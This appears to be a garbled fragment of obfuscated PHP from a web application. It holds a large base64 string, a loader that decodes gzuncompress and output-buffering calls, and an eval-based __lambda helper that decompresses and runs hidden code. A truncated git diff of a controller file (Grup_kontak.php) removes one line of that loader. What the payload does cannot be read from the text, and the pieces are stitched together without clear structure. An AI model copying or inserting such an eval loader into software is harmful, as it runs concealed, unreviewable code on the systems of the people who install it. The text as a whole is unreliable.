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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Grup_kontak.php b/donjo-app/controllers/Grup_kontak.php index 096d99637..3dd8a4e60 100644 --- a/donjo-app/controllers/Grup_kontak.php +++ b/donjo-app/controllers/Grup_kontak.php @@ -252,7 +252,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); 